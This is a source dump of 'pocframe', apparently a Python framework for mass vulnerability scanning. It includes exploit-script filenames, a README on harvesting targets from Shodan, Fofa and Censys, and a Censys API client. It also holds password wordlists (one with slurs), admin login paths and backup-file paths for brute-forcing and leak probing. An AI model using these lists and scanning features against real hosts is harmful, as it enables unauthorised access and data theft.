├── .gitignore ├── README.md ├── data ├── cobalt-strike.txt ├── login_path.txt ├── pass100.txt ├── pass1000.txt ├── source_leak_check_payload.txt └── user-agents.txt ├── doc ├── img1.png ├── img2.png └── img3.png ├── lib ├── __init__.py ├── api │ ├── __init__.py │ ├── censys │ │ ├── __init__.py │ │ └── censys.py │ ├── fofa │ │ ├── __init__.py │ │ └── fofa.py │ ├── shodan │ │ ├── __init__.py │ │ └── shodan.py │ └── zoomeye │ │ ├── __init__.py │ │ └── zoomeye.py ├── controller │ ├── __init__.py │ ├── engine.py │ └── loader.py ├── core │ ├── Request.py │ ├── __init__.py │ ├── common.py │ ├── data.py │ ├── datatype.py │ ├── enums.py │ ├── log.py │ ├── option.py │ └── setting.py ├── parse │ ├── __init__.py │ └── cmdline.py └── utils │ ├── __init__.py │ ├── config.py │ └── console.py ├── plugin ├── __init__.py ├── random_ua.py └── target_parse.py ├── pocframe.py ├── requirement.txt ├── scripts ├── Apache-Flink-Web-Dashboard-RCE.py ├── CVE-2020-8813.py ├── coremail_source_leak.py ├── csbrute.py ├── cve-2020-0796.py ├── cve-2020-1938.py ├── discuz_rce.py ├── fastadmin_weak.py ├── fw_oa_rce.py ├── fw_sql.py ├── mongodb_unauth.py ├── phpstudy_backdoor.py ├── redis_unauth.py ├── seeyon.py ├── source_leak_check.py ├── test.py ├── thinkcmf_shell.py ├── thinkphp_rce.py ├── tongda_rce.py ├── unauth.py ├── weblogic_2019_48814.py ├── weblogic_ssrf.py ├── weblogic_weak_pass.py ├── weblogic_xmldecoder_exec.py └── wp_social_warfare_rce.py └── thirdlib ├── __init__.py └── colorama ├── __init__.py ├── ansi.py ├── ansitowin32.py ├── initialise.py ├── win32.py └── winterm.py /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | *.py[cod] 3 | output/ 4 | test.txt 5 | *.conf 6 | test.conf -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Pocframe 2 | [![PyPI version](https://img.shields.io/badge/python-3-blue.svg)](https://www.python.org/) [![version](https://img.shields.io/badge/version-v1.0-brightgreen)](https://github.com/r0ckysec/pocframe) ![PowerShell Gallery](https://img.shields.io/powershellgallery/p/DNS.1.1.1.1) 3 | 4 | Pocframe是在[Saucerframe](https://github.com/saucer-man/saucerframe)项目的基础上进行修改,它是一个基于python3的开源批量POC检测框架,默认使用协程异步请求,支持多线程并发,支持多种指定目标方式,可用于批量POC检测,也可根据需要扩展功能。 5 | 6 | **本项目用来交流学习,切勿用来做违法之事** 7 | 8 | # 内容 9 | 10 | - 支持多线程并发/协程 11 | - 指定目标支持多种方式 12 | - 指定单个目标 13 | - 从文本种获取目标 14 | - 某一网段获取目标 e.g. 192.168.1.0/24 15 | - 某一ip段获取目标 192.168.1.0-192.168.2.33 16 | - 支持多种api批量获取目标: [Shodan](https://www.shodan.io/)、[Zoomeye](https://www.zoomeye.org/)、[Fofa](https://fofa.so)、[Censys](https://censys.io) 17 | - 支持全局代理(socks5|socks4|http) 18 | 19 | # 使用 20 | 21 | 安装方法: 22 | ```shell 23 | git clone https://github.com/r0ckysec/pocframe.git 24 | cd pocframe 25 | pip3 install -r requirement.txt 26 | ``` 27 | 28 | 使用方法: 29 | ```shell 30 | python3 pocframe.py -h 31 | python3 pocframe.py --show 32 | python3 pocframe.py -s poc -iU target-url # 单个POC检测 33 | python3 pocframe.py -s * -iU target-url # 加载所有POC检测 34 | ``` 35 | 36 | 具体的参数说明: 37 | ``` 38 | # 1. 指定poc脚本(必需,支持同时指定多个poc) 39 | -s poc1,poc2,poc3 40 | 41 | # 2. 指定目标(必需) 42 | -iU www.xxx.com 单个目标 43 | -iF target.txt 从文本中加载 44 | -iR 192.168.1.1-192.168.2.100 根据ip地址范围加载 45 | -iN 192.168.1.0/24 根据网段加载 46 | -aZ "redis" ZoomEye api加载 47 | -aS "redis" Shodan api加载 48 | -aC "redis" Censys api加载 49 | -aF "redis" Fofa api加载 50 | 51 | # 3. 其他(可选) 52 | -h 查看帮助信息 53 | -t 300 并发数(默认100) 54 | --proxy socks5://127.0.0.1:1080 使用sock5代理 55 | -o result.txt 指定输出文件 56 | -v 4 指定终端输出详细级别(1-5, 默认为2) 57 | --show 查看所有poc 58 | -eT 并发采用多线程方式 59 | -eG 并发采用协程方式(默认) 60 | ``` 61 | 62 | ***实例*** 63 | 64 | `python3 pocframe.py -h` 65 | 66 | ![](https://github.com/r0ckysec/pocframe/blob/master/doc/img1.png) 67 | 68 | `python3 pocframe.py --show` 69 | 70 | ![](https://github.com/r0ckysec/pocframe/blob/master/doc/img2.png) 71 | 72 | `python3 pocframe.py -s * -iU baidu.com` 73 | 74 | ![](https://github.com/r0ckysec/pocframe/blob/master/doc/img3.png) 75 | 76 | 77 | # POC编写 78 | 79 | 介绍已移至[wiki](https://github.com/r0ckysec/pocframe/wiki) 80 | 81 | 82 | # References 83 | 84 | - [POC-T](https://github.com/Xyntax/POC-T) 85 | - [Saucerframe](https://github.com/saucer-man/saucerframe) 86 | -------------------------------------------------------------------------------- /data/cobalt-strike.txt: -------------------------------------------------------------------------------- 1 | 123456 -------------------------------------------------------------------------------- /data/login_path.txt: -------------------------------------------------------------------------------- 1 | admin/default/login.asp 2 | admin/login.asp 3 | admin/manage/login.asp 4 | admin_login/login.asp 5 | admincp/login.asp 6 | administrator/login.asp 7 | login.asp 8 | manage/login.asp 9 | manager/login.asp 10 | member/login.asp 11 | admin-login.php 12 | admin/admin-login.php 13 | admin/admin_login.php 14 | admin/login.php 15 | admin2/login.php 16 | admin_area/login.php 17 | admin_login.php 18 | adminarea/login.php 19 | admincontrol/login.php 20 | administrator/login.php 21 | administratorlogin.php 22 | adminlogin.php 23 | autologin.php 24 | bb-admin/login.php 25 | blog/wp-login.php 26 | checklogin.php 27 | login.php 28 | modelsearch/login.php 29 | moderator/login.php 30 | nsw/admin/login.php 31 | pages/admin/admin-login.php 32 | panel-administracion/login.php 33 | processlogin.php 34 | rcjakar/admin/login.php 35 | relogin.php 36 | siteadmin/login.php 37 | sqlbuddy/login.php 38 | userlogin.php 39 | usuarios/login.php 40 | webadmin/login.php 41 | wp-login.php 42 | account/login.jsp 43 | accounts/login.jsp 44 | admin/login.jsp 45 | auth/login.jsp 46 | jsp/extension/login.jsp 47 | login.jsp 48 | member/login.jsp 49 | members/login.jsp 50 | portalAppAdmin/login.jsp 51 | admin.jsp 52 | netadmin.jsp 53 | admin.php 54 | admin.php3 55 | admin/admin.php 56 | admin_area/admin.php 57 | adminarea/admin.php 58 | authadmin.php 59 | bb-admin/admin.php 60 | checkadmin.php 61 | cmsadmin.php 62 | dbadmin.php 63 | fileadmin.php 64 | isadmin.php 65 | linusadmin-phpinfo.php 66 | memberadmin.php 67 | moadmin.php 68 | modelsearch/admin.php 69 | moderator/admin.php 70 | panel-administracion/admin.php 71 | phpliteadmin.php 72 | siteadmin.php 73 | sysadmin.php 74 | tmp/admin.php 75 | ur-admin.php 76 | user/admin.php 77 | users/admin.php 78 | webadmin.php 79 | webadmin/admin.php 80 | wp-content/plugins/akismet/admin.php 81 | admin.asp 82 | admin.aspx 83 | admin/default/admin.asp 84 | admin/manage/admin.asp 85 | admin_login/admin.asp 86 | administrator/admin.asp 87 | article/admin/admin.asp 88 | denglu/admin.asp 89 | guanli/admin.asp 90 | houtai/admin.asp 91 | login/admin/admin.asp 92 | manage/admin.asp 93 | manager/admin.asp 94 | member/admin.asp 95 | admin/logon.jsp 96 | admin/secure/logon.jsp 97 | compass/logon.jsp 98 | logon.jsp 99 | logon/logon.jsp -------------------------------------------------------------------------------- /data/pass100.txt: -------------------------------------------------------------------------------- 1 | 123456789 2 | a123456 3 | 123456 4 | a123456789 5 | 1234567890 6 | woaini1314 7 | qq123456 8 | abc123456 9 | 123456a 10 | 123456789a 11 | 147258369 12 | zxcvbnm 13 | 987654321 14 | 12345678910 15 | abc123 16 | qq123456789 17 | 123456789. 18 | 7708801314520 19 | woaini 20 | 5201314520 21 | q123456 22 | 123456abc 23 | 1233211234567 24 | 123123123 25 | 123456. 26 | 0123456789 27 | asd123456 28 | aa123456 29 | 135792468 30 | q123456789 31 | abcd123456 32 | 12345678900 33 | woaini520 34 | woaini123 35 | zxcvbnm123 36 | 1111111111111111 37 | w123456 38 | aini1314 39 | abc123456789 40 | 111111 41 | woaini521 42 | qwertyuiop 43 | 1314520520 44 | 1234567891 45 | qwe123456 46 | asd123 47 | 000000 48 | 1472583690 49 | 1357924680 50 | 789456123 51 | 123456789abc 52 | z123456 53 | 1234567899 54 | aaa123456 55 | abcd1234 56 | www123456 57 | 123456789q 58 | 123abc 59 | qwe123 60 | w123456789 61 | 7894561230 62 | 123456qq 63 | zxc123456 64 | 123456789qq 65 | 1111111111 66 | 111111111 67 | 0000000000000000 68 | 1234567891234567 69 | qazwsxedc 70 | qwerty 71 | 123456.. 72 | zxc123 73 | asdfghjkl 74 | 0000000000 75 | 1234554321 76 | 123456q 77 | 123456aa 78 | 9876543210 79 | 110120119 80 | qaz123456 81 | qq5201314 82 | 123698745 83 | 5201314 84 | 000000000 85 | as123456 86 | 123123 87 | 5841314520 88 | z123456789 89 | 52013145201314 90 | a123123 91 | caonima 92 | a5201314 93 | wang123456 94 | abcd123 95 | 123456789.. 96 | woaini1314520 97 | 123456asd 98 | aa123456789 99 | 741852963 100 | a12345678 -------------------------------------------------------------------------------- /data/pass1000.txt: -------------------------------------------------------------------------------- 1 | password 2 | 123456 3 | 12345678 4 | 1234 5 | qwerty 6 | 12345 7 | dragon 8 | pussy 9 | baseball 10 | football 11 | letmein 12 | monkey 13 | 696969 14 | abc123 15 | mustang 16 | michael 17 | shadow 18 | master 19 | jennifer 20 | 111111 21 | 2000 22 | jordan 23 | superman 24 | harley 25 | 1234567 26 | fuckme 27 | hunter 28 | fuckyou 29 | trustno1 30 | ranger 31 | buster 32 | thomas 33 | tigger 34 | robert 35 | soccer 36 | fuck 37 | batman 38 | test 39 | pass 40 | killer 41 | hockey 42 | george 43 | charlie 44 | andrew 45 | michelle 46 | love 47 | sunshine 48 | jessica 49 | asshole 50 | 6969 51 | pepper 52 | daniel 53 | access 54 | 123456789 55 | 654321 56 | joshua 57 | maggie 58 | starwars 59 | silver 60 | william 61 | dallas 62 | yankees 63 | 123123 64 | ashley 65 | 666666 66 | hello 67 | amanda 68 | orange 69 | biteme 70 | freedom 71 | computer 72 | sexy 73 | thunder 74 | nicole 75 | ginger 76 | heather 77 | hammer 78 | summer 79 | corvette 80 | taylor 81 | fucker 82 | austin 83 | 1111 84 | merlin 85 | matthew 86 | 121212 87 | golfer 88 | cheese 89 | princess 90 | martin 91 | chelsea 92 | patrick 93 | richard 94 | diamond 95 | yellow 96 | bigdog 97 | secret 98 | asdfgh 99 | sparky 100 | cowboy 101 | camaro 102 | anthony 103 | matrix 104 | falcon 105 | iloveyou 106 | bailey 107 | guitar 108 | jackson 109 | purple 110 | scooter 111 | phoenix 112 | aaaaaa 113 | morgan 114 | tigers 115 | porsche 116 | mickey 117 | maverick 118 | cookie 119 | nascar 120 | peanut 121 | justin 122 | 131313 123 | money 124 | horny 125 | samantha 126 | panties 127 | steelers 128 | joseph 129 | snoopy 130 | boomer 131 | whatever 132 | iceman 133 | smokey 134 | gateway 135 | dakota 136 | cowboys 137 | eagles 138 | chicken 139 | dick 140 | black 141 | zxcvbn 142 | please 143 | andrea 144 | ferrari 145 | knight 146 | hardcore 147 | melissa 148 | compaq 149 | coffee 150 | booboo 151 | bitch 152 | johnny 153 | bulldog 154 | xxxxxx 155 | welcome 156 | james 157 | player 158 | ncc1701 159 | wizard 160 | scooby 161 | charles 162 | junior 163 | internet 164 | bigdick 165 | mike 166 | brandy 167 | tennis 168 | blowjob 169 | banana 170 | monster 171 | spider 172 | lakers 173 | miller 174 | rabbit 175 | enter 176 | mercedes 177 | brandon 178 | steven 179 | fender 180 | john 181 | yamaha 182 | diablo 183 | chris 184 | boston 185 | tiger 186 | marine 187 | chicago 188 | rangers 189 | gandalf 190 | winter 191 | bigtits 192 | barney 193 | edward 194 | raiders 195 | porn 196 | badboy 197 | blowme 198 | spanky 199 | bigdaddy 200 | johnson 201 | chester 202 | london 203 | midnight 204 | blue 205 | fishing 206 | 000000 207 | hannah 208 | slayer 209 | 11111111 210 | rachel 211 | sexsex 212 | redsox 213 | thx1138 214 | asdf 215 | marlboro 216 | panther 217 | zxcvbnm 218 | arsenal 219 | oliver 220 | qazwsx 221 | mother 222 | victoria 223 | 7777777 224 | jasper 225 | angel 226 | david 227 | winner 228 | crystal 229 | golden 230 | butthead 231 | viking 232 | jack 233 | iwantu 234 | shannon 235 | murphy 236 | angels 237 | prince 238 | cameron 239 | girls 240 | madison 241 | wilson 242 | carlos 243 | hooters 244 | willie 245 | startrek 246 | captain 247 | maddog 248 | jasmine 249 | butter 250 | booger 251 | angela 252 | golf 253 | lauren 254 | rocket 255 | tiffany 256 | theman 257 | dennis 258 | liverpoo 259 | flower 260 | forever 261 | green 262 | jackie 263 | muffin 264 | turtle 265 | sophie 266 | danielle 267 | redskins 268 | toyota 269 | jason 270 | sierra 271 | winston 272 | debbie 273 | giants 274 | packers 275 | newyork 276 | jeremy 277 | casper 278 | bubba 279 | 112233 280 | sandra 281 | lovers 282 | mountain 283 | united 284 | cooper 285 | driver 286 | tucker 287 | helpme 288 | fucking 289 | pookie 290 | lucky 291 | maxwell 292 | 8675309 293 | bear 294 | suckit 295 | gators 296 | 5150 297 | 222222 298 | shithead 299 | fuckoff 300 | jaguar 301 | monica 302 | fred 303 | happy 304 | hotdog 305 | tits 306 | gemini 307 | lover 308 | xxxxxxxx 309 | 777777 310 | canada 311 | nathan 312 | victor 313 | florida 314 | 88888888 315 | nicholas 316 | rosebud 317 | metallic 318 | doctor 319 | trouble 320 | success 321 | stupid 322 | tomcat 323 | warrior 324 | peaches 325 | apples 326 | fish 327 | qwertyui 328 | magic 329 | buddy 330 | dolphins 331 | rainbow 332 | gunner 333 | 987654 334 | freddy 335 | alexis 336 | braves 337 | cock 338 | 2112 339 | 1212 340 | cocacola 341 | xavier 342 | dolphin 343 | testing 344 | bond007 345 | member 346 | calvin 347 | voodoo 348 | 7777 349 | samson 350 | alex 351 | apollo 352 | fire 353 | tester 354 | walter 355 | beavis 356 | voyager 357 | peter 358 | porno 359 | bonnie 360 | rush2112 361 | beer 362 | apple 363 | scorpio 364 | jonathan 365 | skippy 366 | sydney 367 | scott 368 | red123 369 | power 370 | gordon 371 | travis 372 | beaver 373 | star 374 | jackass 375 | flyers 376 | boobs 377 | 232323 378 | zzzzzz 379 | steve 380 | rebecca 381 | scorpion 382 | doggie 383 | legend 384 | ou812 385 | yankee 386 | blazer 387 | bill 388 | runner 389 | birdie 390 | bitches 391 | 555555 392 | parker 393 | topgun 394 | asdfasdf 395 | heaven 396 | viper 397 | animal 398 | 2222 399 | bigboy 400 | 4444 401 | arthur 402 | baby 403 | private 404 | godzilla 405 | donald 406 | williams 407 | lifehack 408 | phantom 409 | dave 410 | rock 411 | august 412 | sammy 413 | cool 414 | brian 415 | platinum 416 | jake 417 | bronco 418 | paul 419 | mark 420 | frank 421 | heka6w2 422 | copper 423 | billy 424 | cumshot 425 | garfield 426 | willow 427 | cunt 428 | little 429 | carter 430 | slut 431 | albert 432 | 69696969 433 | kitten 434 | super 435 | jordan23 436 | eagle1 437 | shelby 438 | america 439 | 11111 440 | jessie 441 | house 442 | free 443 | 123321 444 | chevy 445 | bullshit 446 | white 447 | broncos 448 | horney 449 | surfer 450 | nissan 451 | 999999 452 | saturn 453 | airborne 454 | elephant 455 | marvin 456 | shit 457 | action 458 | adidas 459 | qwert 460 | kevin 461 | 1313 462 | explorer 463 | walker 464 | police 465 | christin 466 | december 467 | benjamin 468 | wolf 469 | sweet 470 | therock 471 | king 472 | online 473 | dickhead 474 | brooklyn 475 | teresa 476 | cricket 477 | sharon 478 | dexter 479 | racing 480 | penis 481 | gregory 482 | 0000 483 | teens 484 | redwings 485 | dreams 486 | michigan 487 | hentai 488 | magnum 489 | 87654321 490 | nothing 491 | donkey 492 | trinity 493 | digital 494 | 333333 495 | stella 496 | cartman 497 | guinness 498 | 123abc 499 | speedy 500 | buffalo 501 | kitty 502 | pimpin 503 | eagle 504 | einstein 505 | kelly 506 | nelson 507 | nirvana 508 | vampire 509 | xxxx 510 | playboy 511 | louise 512 | pumpkin 513 | snowball 514 | test123 515 | girl 516 | sucker 517 | mexico 518 | beatles 519 | fantasy 520 | ford 521 | gibson 522 | celtic 523 | marcus 524 | cherry 525 | cassie 526 | 888888 527 | natasha 528 | sniper 529 | chance 530 | genesis 531 | hotrod 532 | reddog 533 | alexande 534 | college 535 | jester 536 | passw0rd 537 | bigcock 538 | smith 539 | lasvegas 540 | carmen 541 | slipknot 542 | 3333 543 | death 544 | kimberly 545 | 1q2w3e 546 | eclipse 547 | 1q2w3e4r 548 | stanley 549 | samuel 550 | drummer 551 | homer 552 | montana 553 | music 554 | aaaa 555 | spencer 556 | jimmy 557 | carolina 558 | colorado 559 | creative 560 | hello1 561 | rocky 562 | goober 563 | friday 564 | bollocks 565 | scotty 566 | abcdef 567 | bubbles 568 | hawaii 569 | fluffy 570 | mine 571 | stephen 572 | horses 573 | thumper 574 | 5555 575 | pussies 576 | darkness 577 | asdfghjk 578 | pamela 579 | boobies 580 | buddha 581 | vanessa 582 | sandman 583 | naughty 584 | douglas 585 | honda 586 | matt 587 | azerty 588 | 6666 589 | shorty 590 | money1 591 | beach 592 | loveme 593 | 4321 594 | simple 595 | poohbear 596 | 444444 597 | badass 598 | destiny 599 | sarah 600 | denise 601 | vikings 602 | lizard 603 | melanie 604 | assman 605 | sabrina 606 | nintendo 607 | water 608 | good 609 | howard 610 | time 611 | 123qwe 612 | november 613 | xxxxx 614 | october 615 | leather 616 | bastard 617 | young 618 | 101010 619 | extreme 620 | hard 621 | password1 622 | vincent 623 | pussy1 624 | lacrosse 625 | hotmail 626 | spooky 627 | amateur 628 | alaska 629 | badger 630 | paradise 631 | maryjane 632 | poop 633 | crazy 634 | mozart 635 | video 636 | russell 637 | vagina 638 | spitfire 639 | anderson 640 | norman 641 | eric 642 | cherokee 643 | cougar 644 | barbara 645 | long 646 | 420420 647 | family 648 | horse 649 | enigma 650 | allison 651 | raider 652 | brazil 653 | blonde 654 | jones 655 | 55555 656 | dude 657 | drowssap 658 | jeff 659 | school 660 | marshall 661 | lovely 662 | 1qaz2wsx 663 | jeffrey 664 | caroline 665 | franklin 666 | booty 667 | molly 668 | snickers 669 | leslie 670 | nipples 671 | courtney 672 | diesel 673 | rocks 674 | eminem 675 | westside 676 | suzuki 677 | daddy 678 | passion 679 | hummer 680 | ladies 681 | zachary 682 | frankie 683 | elvis 684 | reggie 685 | alpha 686 | suckme 687 | simpson 688 | patricia 689 | 147147 690 | pirate 691 | tommy 692 | semperfi 693 | jupiter 694 | redrum 695 | freeuser 696 | wanker 697 | stinky 698 | ducati 699 | paris 700 | natalie 701 | babygirl 702 | bishop 703 | windows 704 | spirit 705 | pantera 706 | monday 707 | patches 708 | brutus 709 | houston 710 | smooth 711 | penguin 712 | marley 713 | forest 714 | cream 715 | 212121 716 | flash 717 | maximus 718 | nipple 719 | bobby 720 | bradley 721 | vision 722 | pokemon 723 | champion 724 | fireman 725 | indian 726 | softball 727 | picard 728 | system 729 | clinton 730 | cobra 731 | enjoy 732 | lucky1 733 | claire 734 | claudia 735 | boogie 736 | timothy 737 | marines 738 | security 739 | dirty 740 | admin 741 | wildcats 742 | pimp 743 | dancer 744 | hardon 745 | veronica 746 | fucked 747 | abcd1234 748 | abcdefg 749 | ironman 750 | wolverin 751 | remember 752 | great 753 | freepass 754 | bigred 755 | squirt 756 | justice 757 | francis 758 | hobbes 759 | kermit 760 | pearljam 761 | mercury 762 | domino 763 | 9999 764 | denver 765 | brooke 766 | rascal 767 | hitman 768 | mistress 769 | simon 770 | tony 771 | bbbbbb 772 | friend 773 | peekaboo 774 | naked 775 | budlight 776 | electric 777 | sluts 778 | stargate 779 | saints 780 | bondage 781 | brittany 782 | bigman 783 | zombie 784 | swimming 785 | duke 786 | qwerty1 787 | babes 788 | scotland 789 | disney 790 | rooster 791 | brenda 792 | mookie 793 | swordfis 794 | candy 795 | duncan 796 | olivia 797 | hunting 798 | blink182 799 | alicia 800 | 8888 801 | samsung 802 | bubba1 803 | whore 804 | virginia 805 | general 806 | passport 807 | aaaaaaaa 808 | erotic 809 | liberty 810 | arizona 811 | jesus 812 | abcd 813 | newport 814 | skipper 815 | rolltide 816 | balls 817 | happy1 818 | galore 819 | christ 820 | weasel 821 | 242424 822 | wombat 823 | digger 824 | classic 825 | bulldogs 826 | poopoo 827 | accord 828 | popcorn 829 | turkey 830 | jenny 831 | amber 832 | bunny 833 | mouse 834 | 007007 835 | titanic 836 | liverpool 837 | dreamer 838 | everton 839 | friends 840 | chevelle 841 | carrie 842 | gabriel 843 | psycho 844 | nemesis 845 | burton 846 | pontiac 847 | connor 848 | eatme 849 | lickme 850 | roland 851 | cumming 852 | mitchell 853 | ireland 854 | lincoln 855 | arnold 856 | spiderma 857 | patriots 858 | goblue 859 | devils 860 | eugene 861 | empire 862 | asdfg 863 | cardinal 864 | brown 865 | shaggy 866 | froggy 867 | qwer 868 | kawasaki 869 | kodiak 870 | people 871 | phpbb 872 | light 873 | 54321 874 | kramer 875 | chopper 876 | hooker 877 | honey 878 | whynot 879 | lesbian 880 | lisa 881 | baxter 882 | adam 883 | snake 884 | teen 885 | ncc1701d 886 | qqqqqq 887 | airplane 888 | britney 889 | avalon 890 | sandy 891 | sugar 892 | sublime 893 | stewart 894 | wildcat 895 | raven 896 | scarface 897 | elizabet 898 | 123654 899 | trucks 900 | wolfpack 901 | pervert 902 | lawrence 903 | raymond 904 | redhead 905 | american 906 | alyssa 907 | bambam 908 | movie 909 | woody 910 | shaved 911 | snowman 912 | tiger1 913 | chicks 914 | raptor 915 | 1969 916 | stingray 917 | shooter 918 | france 919 | stars 920 | madmax 921 | kristen 922 | sports 923 | jerry 924 | 789456 925 | garcia 926 | simpsons 927 | lights 928 | ryan 929 | looking 930 | chronic 931 | alison 932 | hahaha 933 | packard 934 | hendrix 935 | perfect 936 | service 937 | spring 938 | srinivas 939 | spike 940 | katie 941 | 252525 942 | oscar 943 | brother 944 | bigmac 945 | suck 946 | single 947 | cannon 948 | georgia 949 | popeye 950 | tattoo 951 | texas 952 | party 953 | bullet 954 | taurus 955 | sailor 956 | wolves 957 | panthers 958 | japan 959 | strike 960 | flowers 961 | pussycat 962 | chris1 963 | loverboy 964 | berlin 965 | sticky 966 | marina 967 | tarheels 968 | fisher 969 | russia 970 | connie 971 | wolfgang 972 | testtest 973 | mature 974 | bass 975 | catch22 976 | juice 977 | michael1 978 | nigger 979 | 159753 980 | women 981 | alpha1 982 | trooper 983 | hawkeye 984 | head 985 | freaky 986 | dodgers 987 | pakistan 988 | machine 989 | pyramid 990 | vegeta 991 | katana 992 | moose 993 | tinker 994 | coyote 995 | infinity 996 | inside 997 | pepsi 998 | letmein1 999 | bang 1000 | control -------------------------------------------------------------------------------- /data/source_leak_check_payload.txt: -------------------------------------------------------------------------------- 1 | .git/config 2 | .svn/entries 3 | .hg 4 | WEB-INF/web.xml 5 | 2015.zip 6 | 2015.rar 7 | 2015.gz 8 | 2015.tar.gz 9 | 2015.sql 10 | 2016.zip 11 | 2016.rar 12 | 2016.gz 13 | 2016.tar.gz 14 | 2016.sql 15 | 2017.zip 16 | 2017.rar 17 | 2017.gz 18 | 2017.tar.gz 19 | 2017.sql 20 | 2018.zip 21 | 2018.rar 22 | 2018.gz 23 | 2018.tar.gz 24 | 2018.sql 25 | 2019.zip 26 | 2019.rar 27 | 2019.gz 28 | 2019.tar.gz 29 | 2019.sql 30 | web.zip 31 | web.rar 32 | web.gz 33 | web.tar.gz 34 | web.sql 35 | oa.zip 36 | oa.rar 37 | oa.gz 38 | oa.tar.gz 39 | oa.sql 40 | bbs.zip 41 | bbs.rar 42 | bbs.gz 43 | bbs.tar.gz 44 | bbs.sql 45 | a.zip 46 | a.rar 47 | a.gz 48 | a.tar.gz 49 | a.sql 50 | www.zip 51 | www.rar 52 | www.gz 53 | www.tar.gz 54 | www.sql 55 | admin.zip 56 | admin.rar 57 | admin.gz 58 | admin.tar.gz 59 | admin.sql 60 | 1.zip 61 | 1.rar 62 | 1.gz 63 | 1.tar.gz 64 | 1.sql 65 | 123.zip 66 | 123.rar 67 | 123.gz 68 | 123.tar.gz 69 | 123.sql 70 | back.zip 71 | back.rar 72 | back.gz 73 | back.tar.gz 74 | back.sql 75 | backup.zip 76 | backup.rar 77 | backup.gz 78 | backup.tar.gz 79 | backup.sql 80 | beifen.zip 81 | beifen.rar 82 | beifen.gz 83 | beifen.tar.gz 84 | beifen.sql 85 | data.zip 86 | data.rar 87 | data.gz 88 | data.tar.gz 89 | data.sql 90 | test.zip 91 | test.rar 92 | test.gz 93 | test.tar.gz 94 | test.sql 95 | website.zip 96 | website.rar 97 | website.gz 98 | website.tar.gz 99 | website.sql 100 | wangzhan.zip 101 | wangzhan.rar 102 | wangzhan.gz 103 | wangzhan.tar.gz 104 | wangzhan.sql 105 | wwwroot.zip 106 | wwwroot.rar 107 | wwwroot.gz 108 | wwwroot.tar.gz 109 | wwwroot.sql 110 | database.zip 111 | database.rar 112 | database.gz 113 | database.tar.gz 114 | database.sql 115 | htdocs.zip 116 | htdocs.rar 117 | htdocs.gz 118 | htdocs.tar.gz 119 | htdocs.sql 120 | bak.zip 121 | bak.rar 122 | bak.gz 123 | bak.tar.gz 124 | bak.sql 125 | db.zip 126 | db.rar 127 | db.gz 128 | db.tar.gz 129 | db.sql 130 | ftp.zip 131 | ftp.rar 132 | ftp.gz 133 | ftp.tar.gz 134 | ftp.sql 135 | root.zip 136 | root.rar 137 | root.gz 138 | root.tar.gz 139 | root.sql 140 | html.zip 141 | html.rar 142 | html.gz 143 | html.tar.gz 144 | html.sql -------------------------------------------------------------------------------- /doc/img1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r0ckysec/pocframe/ad5aaab5e04809039b82f8d67a9c68baf7341255/doc/img1.png -------------------------------------------------------------------------------- /doc/img2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r0ckysec/pocframe/ad5aaab5e04809039b82f8d67a9c68baf7341255/doc/img2.png -------------------------------------------------------------------------------- /doc/img3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r0ckysec/pocframe/ad5aaab5e04809039b82f8d67a9c68baf7341255/doc/img3.png -------------------------------------------------------------------------------- /lib/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | pass -------------------------------------------------------------------------------- /lib/api/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | pass -------------------------------------------------------------------------------- /lib/api/censys/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r0ckysec/pocframe/ad5aaab5e04809039b82f8d67a9c68baf7341255/lib/api/censys/__init__.py -------------------------------------------------------------------------------- /lib/api/censys/censys.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | from lib.core.Request import request 10 | import sys 11 | import time 12 | import json 13 | from lib.core.common import colorprint 14 | from lib.utils.config import ConfigFileParser 15 | from lib.core.data import paths, conf 16 | 17 | API_URL = "https://censys.io/api/v1" 18 | 19 | 20 | def can_auto_login(): 21 | if UID and SECRET: 22 | try: 23 | res = request.get(API_URL + "/data", auth=(UID, SECRET), timeout = 10) 24 | if res.status_code != 200: 25 | raise SystemExit 26 | else: 27 | return True 28 | except: 29 | return False 30 | else: 31 | return False 32 | 33 | 34 | def get_ip(query, page): 35 | ''' 36 | Return ips and total amount when doing query 37 | ''' 38 | data = { 39 | "query": query, 40 | "page": page, 41 | "fields": ["ip", "protocols"] 42 | } 43 | 44 | try: 45 | res = request.post(API_URL + "/search/ipv4", data=json.dumps(data), auth=(UID, SECRET)) 46 | results = res.json() 47 | 48 | if res.status_code != 200: 49 | colorprint.red("error occurred: %s" % results["error"]) 50 | sys.exit(1) 51 | 52 | # add result in some specific form 53 | for result in results["results"]: 54 | conf.target.add(result["ip"]) 55 | 56 | except Exception as e: 57 | colorprint.red(e) 58 | 59 | 60 | def handle_censys(query, limit, offset): 61 | global UID 62 | global SECRET 63 | UID = ConfigFileParser().censys_UID() 64 | SECRET = ConfigFileParser().censys_SECRET() 65 | msg = '[+] Trying to login with credentials in config file: {}.' .format(paths.CONFIG_PATH) 66 | colorprint.green(msg) 67 | if not can_auto_login(): 68 | err_msg = '[-] Automatic authorization failed.\n[*] Please input your censys API Key (https://censys.io/account/api).' 69 | colorprint.cyan(err_msg) 70 | UID = input('[*] UID > ').strip() 71 | SECRET = input('[*] SECRET > ').strip() 72 | if not can_auto_login(): 73 | err_msg = "[-] authorization failed" 74 | colorprint.red(err_msg) 75 | sys.exit() 76 | 77 | page_start = int(offset/100) + 1 78 | page_stop = page_start + int(limit/100) + 1 79 | 80 | for page in range(page_start, page_stop): 81 | get_ip(query, page) 82 | 83 | # the last loop dont need sleep 84 | if page < page_stop - 1: 85 | time.sleep(3) 86 | 87 | 88 | 89 | 90 | 91 | 92 